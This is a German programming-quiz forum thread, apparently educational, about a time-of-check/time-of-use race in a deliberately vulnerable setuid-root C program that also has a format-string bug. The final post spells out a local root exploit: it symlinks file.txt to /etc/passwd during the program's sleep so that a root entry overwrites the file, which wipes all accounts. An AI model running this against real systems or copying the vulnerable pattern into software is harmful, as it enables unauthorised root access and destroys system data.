Forum: Knobelecke
Moderatoren: broesel, juergenThema: Race Conditions, Teil 1
Race Conditions, Teil 1
broesel (webmaster) am 15.12.2010 um 23:41
Gegeben ein Programm, dessen Source so aussieht:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
FILE *fp;
struct stat buf;
/* if file already exists, abort */
if (!stat("./file.txt", &buf))
return -1;
sleep(10);
fp = fopen("./file.txt", "w");
fprintf(fp, argv[1]);
fclose(fp);
return 0;
}
Wir nehmen an, die dazugehörige Executable gehört root und das setuid-Bit ist gesetzt, d.h. wenn das Programm gestartet wird, läuft es mit den Rechten des Besitzers, nicht mit denen des Aufrufers. Jeder Benutzer kann das Programm ausführen. Wir sind ein gewöhnlicher Benutzer.
Frage: wie können wir uns mit Hilfe dieses Programms root-Rechte verschaffen?
Gruss,
Philip
--
The C Programming Quiz
- bitte Fragen einreichen :)
Re: Race Conditions, Teil 1
Patrick am 16.12.2010 um 07:38
Die Idee dahinter ist, dass alles was per fprintf(fp, argv[1]); geschrieben werden soll, auf der (einer) Shell ausgeführt wird. Was dieses FOO sein muss, weiß ich nicht. /bin/bash ... STDOUT ...?
Nicht geprüft.
--
To follow the path: look to the master, follow the master, walk with the master, see through the master, become the master.
Re: Race Conditions, Teil 1
Martin Conrad (webmaster) am 16.12.2010 um 07:59
Zitat:
file.txt als link auf FOO anlegen und addgroup myName root als Parameter an das Programm.
Die Idee dahinter ist, dass alles was per fprintf(fp, argv[1]); geschrieben werden soll, auf der (einer) Shell ausgeführt wird. Was dieses FOO sein muss, weiß ich nicht. /bin/bash ... STDOUT ...?
Nicht geprüft.
Es ist ein wenig Systemabhängig. Am besten auf die Konsole, auf der man sich befindet. Also /dev/ttyn
Bis denne
Martin
--
0xC0FFEE
Re: Race Conditions, Teil 1
Martin Conrad (webmaster) am 16.12.2010 um 08:08
Dazu kommen dann noch sockets, pipes, und alles an IPC, was grad so rumwerkelt.
Bis denne
Martin
--
0xC0FFEE
Re: Race Conditions, Teil 1
broesel (webmaster) am 16.12.2010 um 10:24
Die Attacke im Detail, wie ich sie mir vorgestellt habe:
- das obige Programm mit einem geeigneten Parameter starten
- innerhalb von 10 Sekunden file.txt mit einer anderen Datei verlinken
- warten
- das Programm hat seinen Parameter in die verlinkte Datei geschrieben
Eine brachiale Methode wäre ganz einfach, die /etc/passwd neu zu formulieren:
# <evil_program> "root:mypass:0:0:root:/root:/bin/bash" &
# sleep 2
# ln -sf /etc/passwd ./file.txt
# su
Das funktioniert natürlich nicht, wenn das System mit /etc/shadow arbeitet, und es würde vermutlich auch recht schnell auffallen weil dabei alle Benutzeraccounts verloren gehen, aber das Prinzip ist klar.
Weiter geht's mit Teil 2.
Gruss,
Philip
--
The C Programming Quiz
- bitte Fragen einreichen :)
